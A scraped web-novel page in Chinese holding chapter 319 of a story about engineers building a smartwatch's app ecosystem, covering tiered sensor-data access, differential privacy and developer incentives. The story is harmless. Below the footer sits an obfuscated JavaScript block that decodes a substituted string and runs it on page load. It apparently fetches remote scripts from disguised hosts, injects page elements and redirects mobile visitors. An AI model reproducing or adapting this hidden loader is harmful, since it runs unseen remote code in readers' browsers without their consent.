首页
第319章 天罡1号的软体生
返回
关灯 护眼:关 字号:小

第319章 天罡1号的软体生态叠代

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    天罡1号的项目室设在研究院东侧三层,一扇从不完全关死的门后面。不是门坏了,而是赵海的习惯——他需要随时听到走廊里的脚步声,判断谁来了丶谁没来丶谁来得急丶谁来得慢。这个习惯从他当年和陈醒一起蹲在出租屋里写「音霸一号」的第一行代码时就养成了,二十年过去,改不掉。
    赵海坐在长桌一端,面前摊着天罡1号上市三个月来的所有数据。销量曲线是漂亮的,甚至比预期还高了百分之十五。但软体生态的数据就没那么好看了——应用商店里针对天罡1号原生适配的应用只有一百四十多个,其中真正好用的不到三十个,开发者活跃度在上市第二个月达到峰值后就开始往下掉。
    「硬体卖得好,是因为天罡1号本身的产品定义没问题。」赵海把数据投到屏幕上,语气不重但每个字都压得很实,「但智能手表不是手环,用户买回去如果只能看通知丶记步数丶测心率,三个月就会吃灰。天罡1号要真正活下来,必须靠软体生态把使用场景撑起来。」
    坐在他对面的,是天罡软体生态团队的核心成员。最年轻的一个是去年刚从「星火」计划里出来的应届生,负责开发者关系;最资深的是从某国际巨头跳槽过来的应用框架架构师,去年被李明哲亲自挖过来。十二个人,十二台终端,屏幕上全是天罡OS的开发者文档丶SDK下载数据丶应用审核队列和用户行为分析。
    「现在最缺什么?」赵海问。
    应用框架架构师把一张对比表调了出来。表上是天罡OS和另外两个主流可穿戴平台的核心能力差距。三个红框最刺眼:第三方表盘开发工具的易用性差,导致高质量表盘数量不足;传感器数据接口的开放度不够,第三方应用无法充分利用天罡1号的生物传感器阵列;后台任务调度机制的限制太严,导致某些需要定时同步的应用体验不好。
    「这些限制不是我们故意加的。」架构师解释道,「传感器数据接口开放度低,是因为隐私和安全考虑;后台任务调度严,是因为电池续航是第一优先级。但现在用户反馈最集中的恰恰是这两点——他们觉得天罡1号能测的东西很多,但第三方应用用不上;续航虽然长,但该推送的时候不推送。」
    赵海听完,没有立刻拍板,而是让团队把每一个限制背后的技术原因和修改代价都列出来。
    这不是保守,而是他知道,可穿戴设备的生态博弈比手机更残酷。开放度太高,隐私和续航崩了,用户骂;开放度太低,生态起不来,用户也骂。天罡1号没有第二次机会,第一波用户的口碑会在未来三个月内固化,而火龙联盟的全面制裁一旦落地,海外开发者的合作意愿会急剧下降——现在不把生态骨架搭起来,后面就没机会了。
    会议开了近两个小时,赵海做出了三项决策。
    第一,第三方表盘开发工具在两周内发布新版本,将设计自由度从当前的一百二十个可调参数提升到三百个以上,同时内置AI辅助设计功能——用户上传一张图片,小芯自动生成符合天罡OS规范的表盘模板。
    第二,传感器数据接口分三级开放。一级是现有的基础数据(心率丶步数丶消耗),保持开放;二级是运动模式识别丶环境光强度丶皮肤温度等中等敏感数据,经过用户明确授权后第三方可调用;三级是PPG原始波形丶心电向量等高精度生物信号,只对经过严格审核的医疗健康类应用开放,且所有数据必须在终端侧完成预处理,不上传云端。
    第三,后台任务调度机制从「统一限制」改为「场景自适应」。当检测到用户处于运动或睡眠监测场景时,放宽相关应用的后台限制;当检测到用户长时间静置或电量低于百分之二十时,收紧所有非核心应用的后台权限。这套策略的核心算法由小芯提供,基于用户行为模式的实时学习。
    周明在会议中途被叫了进来。他听完三级传感器数据开放的方案后,没有直接反对,而是提了一个让所有人安静下来的问题:「二级和三级数据的用户授权,在法律上够不够?如果哪天有第三方应用通过二级数据反推出用户的健康状态,然后发生了隐私泄露,责任怎么界定?」
    架构师解释说,二级数据本身是经过聚合和脱敏的,理论上无法反推出精确的健康诊断。但周明坚持要把「理论上」变成「法律上可证明的」。他让法务团队在一周内拿出三套不同的授权协议模板,分别对应低丶中丶高三种隐私风险等级,并且要求每一套协议都必须包含「数据使用可审计丶可追溯丶可撤销」的条款。
    赵海同意了。
    他知道周明不是在找茬,而是在帮天罡生态提前筑防火墙。当对面想打击未来科技的时候,任何隐私或安全上的漏洞都会被放大一百倍来报导。与其到时候被动应对,不如现在就把篱笆扎到最紧。
    下午,赵海把开发者关系负责人叫到办公室。那个从「星火」计划出来的年轻人叫方程,二十六岁,瘦高个,说话快得像在跑代码。他负责的天罡开发者社区在过去三个月里注册开发者数量从零增长到了三千七百人,但活跃度一直在降。
    「三千七百人里,真正提交过应用的不到四百人。」方程把数据摊开,「大部分人注册完就再也没有登录过。原因我们做过调研——开发文档不够友好,示例代码太少,调试工具不好用,审核周期太长。还有一个更根本的问题:天罡1号的市场保有量还不够大,开发者觉得投入产出比不高。」
    赵海沉默了几秒,然后说了一句让方程眼睛亮起来的话:「把天罡开发者激励计划做成一个独立的预算线。资金从集团创新基金里出,不占天罡项目的常规预算。具体怎么花,你定。」
    方程没有立刻说「谢谢」,而是问了一个更务实的问题:「预算规模多少?」
    「第一笔五百万。用完了再批。条件是,每一分钱都要能对应到开发者的真实产出——上架的应用丶更新的版本丶活跃的用户。不要撒胡椒面,要把资源集中在那百分之一最有可能做出好产品的开发者身上。」
    方程点头,转身出去后立刻召集开发者关系团队,重新设计激励计划的框架。他们决定放弃「人人有份」的普惠式补贴,改为「分级孵化」——顶尖开发者提供一对一技术支持和市场推广资源,中坚开发者提供硬体补贴和分成优惠,长尾开发者提供更好的文档和工具,但不给直接资金激励。
    这种模式的风险在于,可能会被外界解读为「未来科技只重视大开发者,忽视小团队」。方程在设计方案时专门加了一条「星火开发者通道」,专门扶持学生和独立开发者,不设硬性门槛,只要有创意且能跑通demo,就给一套天罡1号的开发样机和三个月的技术支持。
    傍晚,赵静带着小芯团队的人到了天罡项目室。天罡OS的传感器数据分级开放策略需要小芯在终端侧做大量预处理工作——把二级和三级数据在晶片内部完成特徵提取和脱敏,只把不可逆的聚合结果传给第三方应用。这既保护隐私,又降低第三方应用的计算开销。
    小芯团队的一名算法工程师把初步方案投到屏幕上:「PPG原始波形的特徵提取模型已经跑通了,可以在天权5的NPU上用不到两毫秒完成一次完整的心率变异性分析。第三方应用拿到的只是HRV的数值,不是原始波形。即使这些数值被泄露,也无法反向重构出用户的生物特徵。」
    赵静补充道:「这个方案已经在小芯内部的安全实验室里跑过两轮攻击测试。我们模拟了十几种可能的数据逆向攻击,没有一种能从HRV数值里恢复出原始波形或用户的身份特徵。」
    周明听完,还是问了一个刁钻的问题:「如果攻击者同时拿到了多个维度的聚合数据——心率丶HRV丶呼吸率丶皮肤温度——能不能通过关联分析唯一识别用户?」
    算法工程师愣了一下,然后承认这确实是一个风险。多维生物特徵数据的交叉关联,理论上可以在不接触原始数据的情况下实现用户识别。这已经不是技术问题,而是统计学和资讯理论的边界问题。
    「加一层差分隐私。」赵静说,「在聚合数据输出前,注入校准过的随机噪声,保证单个用户的隐私不被泄露,同时不影响群体统计分析的可用性。代价是数据精度会下降百分之三到五,但对绝大多数第三方应用来说,这个精度损失可以接受。」
    周明同意了,但要求所有涉及生物特徵数据的应用都必须通过独立的安全审计,审计标准由他和赵静联合制定,不沿用任何现成的行业规范。
    夜里,天罡软体生态团队的核心成员没有下班。方程带着开发者关系组在重新设计开发者门户网站的每一个页面,从文档索引到API查询,从示例代码到调试工具下载连结,每一处都加了用户行为埋点——他们要精确知道开发者在哪里卡住丶在哪里流失丶在哪里最需要帮助。
    赵海也没有走。他坐在办公室里,把天罡1号上市以来的所有用户评论从头到尾看了一遍。四千多条评论,他一条一条看,看到那些说「买了后悔,没什么应用可用」的评论时,会停下来多看几遍,然后在旁边的笔记本上记下用户具体提到了什么场景没被满足。
    运动爱好者的需求——更精准的GPS轨迹丶更专业的运动数据分析丶与第三方运动平台的同步。健康管理用户的需求——更长期的趋势图表丶更直观的数据解读丶与亲友健康数据的分享(需授权)。日常便利用户的需求——更聪明的消息提醒丶更快的支付响应丶更无缝的手机协同。
    每一条都被他拆解成具体的生态缺口,再映射到开发者激励计划的方向上。
    凌晨一点,赵海把方程叫了过来,指着笔记本上密密麻麻的记录说:「这三类需求,对应三类开发者生态。运动类需要和主流运动平台谈数据互通,健康类需要和医疗机构合作做数据解读,便利类需要开放更多的系统接口给第三方。每一条线都要有专人去推,不能等开发者自己发现需求。」
    方程把这些任务全部压进激励计划的执行清单里,每一条都标注了责任人和完成时限。清单越来越长,但方程的字越写越快——他不是在应付,而是在把赵海脑子里的那张生态地图,一笔一笔地画成可执行的项目节点。
    凌晨两点,天罡项目室的灯还亮着。赵海站在窗前,看着远处芯谷的光海。天罡1号的软体生态叠代,不像天衡5那样轰轰烈烈,不像补天那样生死攸关,也不像追光那样硬核艰深。但它同样重要——因为它决定了未来科技在用户手腕上那个小小的方寸之地,能不能长出真正属于自己的一方生态。
    如果天罡1号的生态起不来,未来科技在可穿戴领域就只是一个卖硬体的厂商。而卖硬体的厂商,在对面全面制裁的风暴里,是最容易被替代的。
    他不能让这种事发生。
    走廊里传来脚步声,是赵静从实验室出来路过这里。她推开门看了一眼,没有进来,只是在门口站了几秒,然后说了一句:「还没走?」
    「还没走。」赵海说。
    赵静点了点头,转身离开。她的脚步声沿着走廊往小芯实验室的方向远去,清脆丶稳定丶不急不慢。
    赵海收回目光,重新坐回桌前,打开天罡OS的开发者文档,从第一页开始看起。他要把自己想像成一个第一次接触天罡平台的开发者,看看文档里有没有任何让人困惑丶让人烦躁丶让人想关掉的地方。
    看到第三章的时候,他发现了一个问题——某个API的参数说明写得太简略,没有给出典型取值范围的示例。他在这页旁边画了一个红圈,然后在任务清单上加了一条:所有API文档必须经过至少三名外部开发者试用反馈后才能发布。
    这不是大事,但无数个不是大事的小事加在一起,就是天罡生态能不能活下来的大事。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();